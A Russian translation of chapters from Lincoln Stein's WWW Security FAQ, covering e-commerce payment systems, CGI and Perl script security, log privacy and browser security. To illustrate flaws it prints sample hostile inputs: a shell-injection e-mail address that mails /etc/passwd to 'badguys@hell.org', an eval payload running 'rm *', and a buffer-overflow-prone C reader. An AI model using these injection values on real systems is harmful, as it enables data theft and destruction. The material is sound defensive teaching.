Перед использованием системы First Virtual потребитель должен подписаться и получить счет, заполнив форму ввода на узле First Virtual (см. ниже). Процесс подписки заканчивается по телефону. В ходе подписки потребитель предоставляет информацию о номере своей кредитной карты, информацию для контакта, и получает свой персональный идентификационный номер (PIN, Personal Identification Number) в системе First Virtual. Далее при заказах у членов First Virtual потребитель использует свой номер PIN вместо номера кредитной карты. Прежде чем снимать деньги с карты, First Virtual запросит подтверждения заказа по электронной почте. Чтобы открыть счет в системе First Virtual потребитель должен уплатить разовый сбор в размере двух долларов США. Дополнительных выплат нет, и пользователю не требуется устанавливать у себя какого-либо специального программного обеспечения для использования системы.
Поставщики, желающие принимать оплату через систему First Virtual, должны открыть в системе счет за одноразовую плату в размере $10.00. First Virtual предоставит поставщику простую программу для проверки пользовательских номеров PIN и информирующую First Virtual о полученных заказах. Эта программа легко может быть использована в скрипте CGI, принимающем заказ. First Virtual получает с поставщика плату в размере $0.29 за каждый заказ плюс 3% от суммы заказа.
Дальнейшую информацию о First Virtual можно получить по адресу:
Программное обеспечение, поддерживающее DigiCash, препятствует повторному использованию КиберБаксов. Как и настоящие деньги, КиберБаксы могут быть использованы анонимно. Вы не должны идентифицировать себя для того, чтобы иметь возможность потратить или получить "цифровую валюту", и ее использование не оставляет следов. Это отличает систему DigiCash от систем, основанных на кредитных картах, таких, как CyberCash и SET, в которых каждая операция фиксируется на бумаге, что может быть использовано для изучения привычек потребителя. В дополнение, DigiCash может использоваться для безопасной передачи денег между индивидуумами, позволяя обычным людям продавать услуги и товары через Internet без вовлечения банковской системы.
DigiCash требует установки специальных программ на компьютерах заказчика и продавца. В настоящее время имеются версии для Windows 95, Windows NT и некоторых систем Unix. В силу своей молодости эта система пока не получила широкого распространения, однако ситуация должна измениться. Дальнейшую информацию, включая список банков, поддерживающих DigiCash, можно получить на URL:
При заказе в магазине, поддерживающем CyberCash, wallet открывает окно и запрашивает у пользователя информацию о выборе системы оплаты. Пользователь может выбрать оплату через кредитную карту или переводом со счета. Программа, установленная на стороне продавца, проверяет и фиксирует операцию, соединяясь с сервером CyberCash. Этот процесс занимает 10-15 секунд. Wallet ведет учет всех заказов, позволяя пользователю сверять данные записей с информацией о состоянии кредитной карты или счета, полученной из банка. Программа доступна для многих платформ, включая Macintosh, Windows 95 и Windows NT.
Система использует надежное шифрование для защиты передаваемой информации от перехвата третьими лицами. Более того, поскольку реальные номера кредитных карт не попадают на сервер продавца, то нет опасности получения номеров кредитных карт людьми, проникнувшими на сервер продавца.
Для того, чтобы принимать платежи через CyberCash, продавцу необходимо открыть счет в банке, поддерживающем систему. Счет похож на счет, открываемый для принятия платежей по кредитным картам через заказы по почте, и требует примерно тех же затрат: разовая выплата 100 долларов при открытии счета, примерно 15 долларов в месяц для его поддержания и выплаты 2-3% от стоимости с каждого заказа. Точные расценки устанавливаются самостоятельно местными банками и могут несколько различаться. Сейчас несколько сотен банков поддерживают систему CyberCash, и это число постоянно растет.
После открытия счета продавец устанавливает у себя на сервере программу "электронный регистратор валюты" (Electronic Cash Register). Программа запускается при нажатии заказчиком кнопки "заплатить" ("pay") или ее аналога и берет на себя соединение, создавая запись, которую продавец может использовать в своей системе доставки. Программа распространяется бесплатно и существует в вариантах для различных платформ, включая Windows NT и Unix.
Основное преимущество системы CyberCash в сравнении с DigiCash состоит в том, что заказчик обеспечен в ней той же степенью защиты потребителя, которую дает кредитная карта сама по себе. Если продавец не предоставляет товар, или предоставляет товар неудовлетворительного качества, то потребитель может обратиться в компанию, выдавшую кредитную карту. Недостатки включают потерю анонимности, характерную для всех расчетов по кредитным или дебетным картам и невозможность осуществления расчетов между равными. Кроме того, выплаты продавцов за обработку заказов делают систему невыгодной для мелких поставщиков, таких как поставщиков интерактивных видеоигр. Эта последняя проблема однако решается CyberCash путем введения системы CyberCoin, позволяющей заказчику вносить единовременно некоторую сумму, после чего использовать ее частями в мелких заказах.
Для получения дальнейшей информации можно обратиться на http://www.cybercash.com
Учитывая широкие возможности для мошенничества в Internet, SET использует сложную систему проверки всех сторон, участвующих в операции - заказчик, поставщик, организация, выпустившая карту и банк продавца - все идентифицируются при помощи специальных заверенных сертификатов. Для сохранения прав личности, поставщик получает доступ к информации в части предмета заказа, стоимости заказа и подтверждения оплаты, но не в части способа оплаты, выбранного заказчиком. Фирма, выпустившая кредитную карту, в свою очередь, имеет доступ к информации о стоимости заказа, но не о том, где он был сделан. Однако, не смотря на эти предосторожности, SET не предоставляет того уровня анонимности, которого достигает система DigiCash.
SET требует специального программного обеспечения и на стороне продавца, и на стороне покупателя. По крайней мере, на стороне заказчика программа может быть загружена тут же в форме апплета Java и/или элемента ActiveX. В настоящее время имеются два продукта, поддерживающие SET. Microsoft Merchant - система, предлагаемая фирмой Microsoft Corporation. Построенный вокруг Internet Information Server, Microsoft Merchant предлагает проверку кредитных карт с использованием службы Verifone. Вдобавок, Microsoft Merchant предлагает такие услуги, как поддержание каталогов, скрипты для заказов, вычисление налогов с продаж. Microsoft Merchant существовал в виде предварительной (beta) версии в ноябре 1996 года, и должен быть доступен в то время, когда вы это читаете.
В свою очередь, корпорация Netscape, в сотрудничестве со своим стратегическим партнером First Data, предлагает LivePayment. Это - добавочный модуль для сервера Netscape Secure Commerce Server, предоставляющий возможность защищенной передачи, прверки и обработки информации о кредитноц карте. вы можете добавлять модули для поддержки каталогов, связи с корпоративной базой данных и другие. В его теперешней реализации, LivePayment использует предшественник SET, похожий на стандарт, но не идентичный. Полностью SET-совместимая версия должна быть выпущена в скором времени.
|
Наверх, к Содержание | ||
|
Назад, к Поддержка защищенного сервера | Вперед, к Скрипты CGI |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Thu Apr 16 10:39:53 EST 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к Защита конфиденциальных документов | Вперед, к Безопасное программирование на Perl |
Скрипты CGI могут открывать лазейки двумя путями:
Скрипты CGI являются потенциальными лазейками даже в том случае, если вы запускаете сервер с правами пользователя "nobody". Взломаный скрипт, работая с правами nobody, тем не менее пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт локальной сети или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если ваш сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.
Существует также опасность того, что хакер сможет разместить файл с расширением .cgi в директории документов, а затем запустить его на исполнение, обратившись с запросом к серверу. Использование директория cgi-bin с правильно установленными правами доступа уменьшает вероятность такого события.
Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.
Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор оставляет резервную копию файла с исходным текстом программы в дереве документов. И хотя удаленный пользователь не может получить исходный текст при обращении к самому скрипту, он имеет возможность получить резервную копию файла попросту выбрав адрес URL:
http://ваш-узел/путь/к/ваш_скрипт.cgi~
(это еще одна причина, по которой безопаснее ограничить область хранения
скриптов отдельным директорием и ограничить доступ к нему.)
Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.
Еще одна причина большей безопасности компилируемых программ - вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.
Третий фактор - возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта - один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС - плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.
Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, "проверки на чистоту" (taint checks, см. далее) перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.
Вы никогда не можете быть уверены, что скрипт безопасен. Лучшее, что вы можете сделать - внимательно изучить скрипт и понять, что и как он делает. Если вы не владеете языком, на котором написан скрипт, обратитесь к кому-нибуть, кто знает этот язык.
Вот вопросы, которые следует учитывать при изучении скрипта:
К стыду, один из ошибочных скриптов, nph-publish, был написан автором этого документа. Скрипт предназначен для публикации на сервере Apache документов, редактируемых при помощи "публикующего" редактора, такого, например, как Netscape Navigator Gold. автор не проверял необходимым образом пути доступа к файлам, вводимые пользователем, потенциально давая возможность сохранять файлы там, где не положено. Это может создать серьезные проблемы в случае, если сервер запущен с большими привилегиями. Если вы используете этот скрипт, то обновите версию на 1.2 или более позднюю. Ошибка была обнаружена Randal Schwartz (merlyn@stonehenge.com).
Ошибки во второй паре скриптов в списке были обнаружены
Paul Phillips (paulp@cerf.net), автором
CGI
security FAQ. Лазейка в PHF (телефонная книга) найдена
Jennifer Myers
(jmyers@marigold.eecs.nwu.edu), она представляет собой потенциальную
лазейку, содержащуюся во всех скриптах CGI, использующих библиотеку NCSA
util.c. Здесь можно найти
информацию о том, как исправить лазейку в util.c.
периодически здесь будет добавляться информация о других скриптах, содержащих ошибки.
Добавим, что один из скриптов, приведенных как пример "хорошего программирования CGI" в книге "Build a Web Site" (Построение узла Web, net.Genesis и Devra Hall), содержит классическую ошибку, заключающуюся в передаче непроверенной пользовательской переменной оболочке операционной системы. Скрипт приведен в разделе 11.4, "Простой скрипт для поиска с использованием grep", страница 443. Другие скрипты в этой книге также могут содержать ошибки.
Этот список далек от полноты. Никакая организация не занимается отслеживанием распространяемых скриптов. CERT выпускает сообщения о скриптах с ошибками, когда узнает о них, и имеет смысл подписаться на их список рассылки, или иногда просматривать свежие архивы (смотри Библиография).
Безусловно, на вашей совести лежит проверка безопасности каждого используемого вами скрипта.
Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда w дает информацию о ресурсах, используемых локальными пользователями. Команда ps, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.
ОСНОВНОЙ источник лазеек в безопасности - переполнение буферов при чтении данных, вводимых пользователем. Вот простая иллюстрация проблемы:
#include <stdlib.h>Проблема здесь в том, что автор предполагает, что объем вводимых данных, полученных методом POST, никогда не превысит размера статического буфера, 1024 байта. Это плохо. Злой хакер может нарушить работу программы, введя гораздо больший объем данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер может иметь возможность выполнения произвольных команд на сервере.
#include <stdio.h> static char query_string[1024]; char* read_POST() {
int query_size; query_size=atoi(getenv("CONTENT_LENGTH")); fread(query_string,query_size,1,stdin); return query_string; }
Приведем простой пример функции read_POST(), обходящей эту проблему путем динамического резервирования памяти. Если памяти недостаточно, то функция возвращает значение NULL.
char* read_POST() {
int query_size=atoi(getenv("CONTENT_LENGTH"));
char* query_string = (char*) malloc(query_size);
if (query_string != NULL)
fread(query_string,query_size,1,stdin);
return query_string;
}
Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер
не переполнился. Контролируйте такие функции, как strcpy(), strcat()
и другие функции для работы со строками, которые производят копирование до тех
пор, пока не достигнут конца строки. Используйте вместо них функции
strncpy() и strncat().
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0'; /* Обеспечить 0 в конце строки */
(Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину
MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ '\0'.)
В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.
Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.
Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с первого взгляда безопасного фрагмента кода на языке Perl, который должен посылать электронную почту по адресу, указанному в форме ввода.
$mail_to = &get_name_from_input; # получить адрес из формы ввода open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;Проблема состоит в вызове open(). Автор подразумевал, что содержимое переменной $mail_to всегда будет представлять корректный адрес e-mail. Но что произойдкт, если хакер введет адрес, выглядящий следующим образом?
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
Теперь инструкция open() выполнит следующую команду:
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwdУвы, open() послала содержимое системного файла паролей удаленному пользователю, открыв тем самым возможность для взлома паролей.
$mailto = &get_name_from_input; # получить адрес из формы ввода open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: ничего особенного Привет! END close MAIL;Программисты, пишущие на C, могут использовать семейство функций exec для передачи параметров запускаемым программам напрямую, а не через оболочку ОС. Того же можно достичь и в Perl, используя приведенную ниже технику.
Вы должны искать пути, позволяющие избежать запуска оболочки ОС (shell). В тех редких случаях, когда у вас нет другого выбора, вы должны всегда проверять содержимое ввода на присутствие метасимволов языка оболочки и удалять их. Список таких символов достаточно обширен:
&;`'\"|*?~<>^()[]{}$\n\r
Обратите внимание на то, что сюда входят символы перевода строки и возврата каретки (LF и CR)
- те, что кто-то из NCSA забыл, когда он (или она) писал широко
распространяемую библиотеку util.c
как пример программирования CGI на C.
Еще лучше убедиться, что параметры, предоставляемые пользователем, точно соответствуют тому, что должно быть, а не просто удалять метасимволы из переменной в надежде, что вы не получите неожиданных побочных эффектов. Даже если вы передаете пользовательские переменные в вызываемую вами программу напрямую, а не через оболочку ОС, они все равно могут содержать конструкции, открывающие лазейки в вызываемой программе.
Вот пример того, как можно убедиться, что адрес, предоставленный пользователем и содержащийся в переменной $mail_to, действительно выглядит как адрес электронной почты:
$mail_to = &get_name_from_input; # получить адрес из формы ввода
unless ($mail_to =~ /^[\w-.]+\@[\w-.]+$/) {
die 'Адрес не соответствует форме foo@nowhere.com';
}
(Для некоторых узлов приведенные ограничения могут быть слишком жесткими. Они
не допускают адресов в формате UUCP или любой другой из многих альтернативных
схем построения адресов e-mail).
system("ls -l /local/web/foo");
используйте такой:
system("/bin/ls -l /local/web/foo");
Если вам необходимо использовать переменную PATH, то установите ее значение
явным образом в начале скрипта CGI:
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
Во всех случаях, не следует включать в состав переменной PATH текущий директорий (".").
Это не совсем так. cgiwrap (автор - Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. "nobody"), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.
cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под идентификатором того пользователя, которому принадлежат. Эта политика может быть усилена таким образом, что пользователь должен использовать cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает администрирование и предотвращает помехи пользователям сос стороны других пользователей, это привносит риск для пользователя. Поскольку скрипты выполняются теперь с правами владельца, взломанный скрипт может полностью очистить домашний директорий пользователя, выполнив команду
rm -r ~
Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.
sbox в настоящее время находится в стадии бета-тестирования. Если у вас есть желание попробовать использовать sbox, то вы можете его получить на URL http://www.genome.wi.mit.edu/~lstein/sbox/. sbox не был еще достаточно тщательно отлажен и может содержать ошибки, в том числе - лазейки в безопасности. Пожалуйста, соблюдайте осторожность.
Ограничивая права доступа к скрипту, не забудте ограничить доступ к _самому_ скрипту, а не только ко всем формам ввода, позволяющим с ним работать. Соблюсти это требование проще, если скрипт сам генерирует формы ввода для себя при обращении к нему.
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txtЭтот документ содержит большое количество рекомендаций по безопасности, однако он не обновлялся с сентября 1995 года. После этого Selena Sol опубликовала отличную статью о рисках, связанных с установкой готовых скриптов, с большим количеством советов по настройке их скриптов для повышения надежности. Статью можно найти на URL:
http://Stars.com/Authoring/Scripting/Security/Отличное введение в программирование на Perl и программирование CGI можно найти в Perl CGI FAQ,
http://www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.htmlавторы - Tom Christiansen (tchrist@perl.com) и Shishir Gundavaram (shishir@ora.com).
|
Наверх, к Содержание | ||
|
Назад, к Защита конфиденциальных документов | Вперед, к Безопасное программирование на Perl |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Wed Jul 1 06:37:17 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к Скрипты CGI | Вперед, к Запись истории сервера и частная жизнь |
$date = `/bin/date`;
Вы можете открывать "туннель" (pipe) к программе:
open (SORT, " | /usr/bin/sort | /usr/bin/uniq");Вы можете запускать внешние программы и ждать окончания их выполнения через system():
system "/usr/bin/sort < foo.in";или вы можете запускать внешние программы без возврата управления с помощью exec():
exec "/usr/bin/sort < foo.in";Все эти выражения являются опасными если используют данные, введенные пользователем, которые могут содержать метасимволы. Для system() и exec() существует синтаксическая возможность, позволяющая запускать внешние программы напрямую, без обращения к оболочке ОС. Если вы передаете внешней программе аргументы, представляющие собой не строку, а список, то Perl не будет использовать оболочку, и метасимволы не вызовут нежелательных побочных эффектов. Например:
system "/usr/bin/sort","foo.in";Вы можете использовать эту особенность для того, чтобы открыть туннель, не обращаясь к оболочке ОС. Вызывая open в магической последовательности символов
|-, вы запускаете копию Perl и открываете туннель (pipe)
к этой копии. Дочерняя копия Perl затем немедленно запускае внешнюю
программу, используя список аргументов для exec().
open (SORT,"|-") || exec "/usr/bin/sort",$uservariable;
while $line (@lines) {
print SORT $line,"\n";
}
close SORT;
Для чтения из туннеля без обращения к оболочке можно использовать похожий
способ, с последовательностью -|:
open(GREP,"-|") || exec "/usr/bin/grep",$userpattern,$filename;
while (<GREP>) {
print "match: $_";
}
close GREP;
Это те формы open(), которые необходимо всегда использовать в случаях, когда в
другой ситуации вы использовали бы перенаправление open (piped open).
Еще более хитрая возможность позволяет вам запускать внешние программы и обманывать их относительно их собственного названия. Это полезно при использовании программ, действия которых зависят от того, с использованием какого имени они запущены.
Вот синтакс:
system $настоящее_имя "ложное_имя","аргумент1","аргумент2"Например:
$shell = "/bin/sh"Этот пример запускает sh - оболочку операционной системы - с именем "-sh", заставляющим ее действовать интерактивно. Заметте, что настоящее имя программы должно храниться в виде переменной, и что между именем переменной и началом списка аргументов нет запятой.
system $shell "-sh","-norc"
Можно записать эту команду более компактно:
system { "/bin/sh" } "-sh","-norc"
В версии 4 языка Perl проверка включается при использовании специальной версии интерпретатора, называющейся "taintperl":
#!/usr/local/bin/taintperlВ версии 5 - используйте флаг -T при запуске интерпретатора:
#!/usr/local/bin/perl -TНиже описано как "обеззараживать" (untaint) переменные.
Для более полного обсуждения вопроса можно обратиться к CGI/Perl Taint Mode FAQ (автор - Gunther Birzniek).
$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
Отредактируйте ее так, чтобы перечислить директории, в которых вы хотите
искать. Мысль о вклюяении текущего директория (".") в состав переменной PATH
является плохой идеей.
$mail_address=~/(\w[\w-.]*)\@([\w-.]+)/; $untainted_address = "$1\@$2";Такая маска позволит выделить адрес в форме "кому@куда", где элементы "кому" и "куда" могут включать литеры, точки и тире. Более того, "кому" не может начинаться с тире, используемого во многих программах как служебный символ командной строки.
$foo=~/$user_variable/?
foreach (@files) {
m/$user_pattern/o;
}
Теперь, однако, Perl будет игнорировать любые изменения в переменной, что
приведет к неправильной работе циклов такого рода:
foreach $user_pattern (@user_patterns) {
foreach (@files) {
print if m/$user_pattern/o;
}
}
Для обхода этой проблемы программисты, пишущие на Perl, часто используют такой
трюк:
foreach $user_pattern (@user_patterns) {
eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
Проблема здесь состоит в том, что в операторе eval() используется
пользовательская переменная. Если переменная не подвергается тщательной
проверке, то можно заставить eval() выполнить произвольный код на Perl.
Для понимания того, чем это грозит, подумайте, что произойдет в случае, если
переменная будет иметь следующее значение:
"/; system 'rm *'; /"
Проверки заразности (см. выше) позволяют поймать потенциальную опасность в этой области. Вы можете выбирать между отказом от такого рода оптимизации, или тщательным обеззараживанием переменной перед использованием. Полезная возможность в Perl5 состоит в использовании \Q и \E для комментирования метасимволов так, чтобы они не были использованы:
print if m/\Q$user_pattern\E/o;
Вы можете заставить скрипт выполняться с правами его владельца путем установки бита s:
chmod u+s foo.plВы можете предоставить ему права группы, к которой принадлежит владелец, установив бит s в поле группы:
chmod g+s foo.plОднако, многие системы Unix содержат лазейку, позволяющую взламывать такие скрипты. Это касается только скриптов, а не компилированных программ. В таких системах попытка запуска скрипта на Perl, для которого были выставлены s биты, приведет к появлению сообщения об ошибке со стороны самого Perl.
На таких системах вы имеете две возможности:
ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/
#include <unistd.h>
void main () {
execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
}
После компилирования программы, выставте s биты. Программа будет выполняться
с правами владельца, запускать интерпретатор Perl и выполнять скрипт,
содержащийся в файле "foo.pl".
Кроме того, можно запускать сам сервер с правами пользователя, достаточными для выполнения необходимых действий. Если вы используете сервер CERN, то у вас есть возможность запускать сервер с разными правами для разных скриптов. См. документацию CERN для получения дальнейшей информации.
|
Наверх, к Содержание | ||
|
Назад, к Скрипты CGI | Вперед, к История сервера и частная жизнь |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Tue Jun 30 21:20:38 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к Безопасное программирование на Perl | Вперед, к Безопасность на стороне клиента |
Большинство серверов регистрируют все обращения. Записываются обычно адрес и/или имя машины, время обращения, имя пользователя (если оно известно), URL запроса (включая значения всех переменных из форм ввода, передаваемых методом GET), статус запроса и объем переданых данных. Некоторые браузеры дают кроме того информацию о том, какая программа используется, что просматривал пользователь перед обращением к серверу и адрес электронной почты пользователя. Сервер может также записывать эту информацию или передавать ее скриптам CGI. Большинство браузеров используется обычно на однопользовательских машинах, таким образом, обращение можно приписывать конкретному человеку. Предоставление любых указанных данных может быть потенциально опасным для пользователя.
Например, получение XYZ.com финансовых отчетов ABC.com может свидетельствовать о корпоративном заговоре. Информация об обращениях к объявлениям о найме может позволить узнать, кто заинтересован в смене места работы. Информация о времени чтения комикса позволяет узнать о неправильном использовании служебных ресурсов. Соответствующая запись в файле трассировки может быть похожа на такую:
file://prez.xyz.com/hotlists/stocks2sellshort.html -> http://www.xyz.com/
Форма запроса, использованного читателем, может говорить о том, как он собирается использовать полученную информацию. Данные для систем поиска особо информативны в этой части.
Другой способ получения информации об использовании Web - изучение истории, буфера и "горячего списка" браузера. Если кто-либо имеет доступ к машине пользователя, то он может получить их содержимое. Типичный пример - машины общего пользования в лаборатории или библиотеке.
Серверы - представители (proxy), используемые для доступа к узлам за пределами корпоративных брандмауэров, находятся в особо уязвимом положении. Представитель записывает каждое обращение к внешнему узлу и фиксирует адрес как браузера, так и сервера. Небрежно администрируемый proxy сервер представляет таким образом значительную угрозу частной жизни.
Если вы работаете на государственном узле, то закон может требовать от вас соблюдения прав ваших читателей. В США федеральные службы не имеют права на сбор и публикацию многих типов данных о клиентах.
В большинстве штатов США библиотеки и магазины видео не имеют права продавать или другим образом передавать данные о том, какие материалы использовали их клиенты. Хотя подобные юридические стандарты в отношении электронных информационных служб пока не выработаны, пользователи Web имеют основания ожидать такого же отношения к их правам. В других странах, как например в Германии, закон явно запрещает передачу записей о доступе третьим лицам. Если ваш узел решает использовать файлы трассировки для формирования списков рассылки по электронной почте или для продажи другим организациям, то убедитесь в том, что вы четко объявляете этот факт.
Простейший способ избежать сбора излишней информации - использовать сервер, позволяющий настраивать формат файлов трассировки, в этом случае вы имеете возможность выбросить все лишнее. Другой способ - периодически обрабатывать и выбрасывать оригинальные записи. Поскольку записи истории обращений к популярным узлам имеют тенденцию к быстрому росту, то возможно, вам придется делать это в любом случае.
Вы можете защитить внешних пользователей путем обработки и суммирования ваших записей. Вы можете помочь защитить внутренних пользователей
Если вы не хотите "засвечивать" доступ к Web из вашего домена, вам может понадобиться получить доступ к клиенту Web для анонимного доступа у провайдера, который может его предоставить.
|
Наверх, к Содержание | ||
|
Назад, к Безопасное программирование на Perl | Вперед, к Безопасность на стороне клиента |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Thu Apr 16 10:40:11 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к История сервера и частная жизнь | Вперед, к Конкретные серверы |
Это предупреждение относится также к файлам для популярных процессоров документов для персональных компьютеров. Кажется естественным определить тип "application/x-msexel-macro" для получения автоматически перерасчитываемых таблиц, однако некоторые функции языка, используемого в макрокомандах программы Exel, могут быть использованы для повреждения других таблиц и файлов. То же можно сказать о таких, казалось бы безобидных, вещах, как файлы описания стиля (style sheets) и заготовки документов (template) для текстовых процессоров! Многие из текстовых процессоров имеют встроенные возможности обработки макрокоманд. Примером того, как могут быть использованы эти возможности, является "prank macro" для Microsoft Word - макрокоманда, обладающая способностью, подобно вирусу, переходить из документа в документ.
Автор знает по крайней мере об одном человеке, который решил использовать
C-shell только для выполнения скриптов, написанных им самим или людьми,
которым он полностью доверяет. Он вручную проверял все адреса чтобы
убедиться, что их имена не содержат расширения .csh, прежде
чем загружать их. К сожалению, имя URL не является надежным способом
определения его содержимого. Тип документа определяется не браузером, а Web
сервером, и документ, имеющий тип application/x-csh, может легко иметь
расширение .txt, или даже не иметь расширения вообще.
Короче, избегайте использования внешних программ просмотра для любых документов, которые могут содержать выполняемые команды.
Прблемы безопасности учитываются в таких командных языках, как Java и Safe Tcl, которые позволяют запретить выполнение потенциально опасных операций. Существует даже прототип "Safe Perl" ("Безопасный язык Perl"), который может быть использован как более безопасный инструмент для загрузки программ на Perl.
Для того, чтобы выключить это сообщение, выберите пункт Preferences в меню Options программы Netscape, выберите там пункт "Images and security", и поставте метку в квадратик, обозначенный как "Warn before submitting forms insecurely" ("Предупреждать перед передачей форм небезопасным путем").
Серверы и браузеры Netscape используют шифрование с 40- или 128-разрядным ключом. Многие считают, что использование 40-разрядного ключа небезопасно, поскольку он может быть найден путем применения "нападения грубой силой" (т.е. путем перебора всех 2 в степени 40 возможных ключей с целью нахождения того, который использовался при шифровании). Такая возможность была продемонстрирована в 1995 году, когда французские исследователи использовали сеть рабочих станций и расшифровали сообщение, зашифрованное 40-разрядным ключем, немногим более, чем за одну неделю. Считается, что при наличии специального оборудования можно вскрыть 40-разрядный ключ в течение минут или часов. Использование 128-разрядного ключа позволяет избежать этой опасности, так как в этом случае число возможных комбинаций возрастает до 2 в степени 128. Для расшифровки путем применения грубой силы сообщения, закодированного при помощи 128-разрядного ключа при использовании современной технологии потребовалось бы время, значительно превышающее возраст вселенной. К сожалению, большинство пользователей Netscape имеют браузеры, поддерживающие только 40-разрядные ключи. Это связано с ограничениями на экспорт программ шифрования из США.
При использовании программ Netscape вы можете узнать, какой способ шифровки использован для передачи конкретного документа, посмотрев пункт "Document information" (описание документа), имеющийся в меню "File". Маленькое изображение ключа, имеющееся в нижнем левом углу окна программы, также отражает эту информацию. Цеылй ключ с 2-мя зубьями на бородке означает использование 128-разрядного ключа; целый ключ с одним зубом - 40-разрядного; а сломаный ключ означает, что шифрование не используется. Даже в том случае, если ваш браузер поддерживает 128-разрядный ключ, он может использовать 40-разрядные ключи при общении с серверами более старых версий или с серверами за пределами США и Канады.
В Microsoft Internet Explorer при использовании шифрования в нижней правой части экрана появится висячий замок. Чтобы определить, 40- или 128- разрядный ключ используется для шифрования, откройте страницу описания документа (document information page) используя пункт меню Файл->Свойства (File->Properties). Там будет написоно, используется ли "слабая" (weak) или "сильная" (strong) схема шифрования.
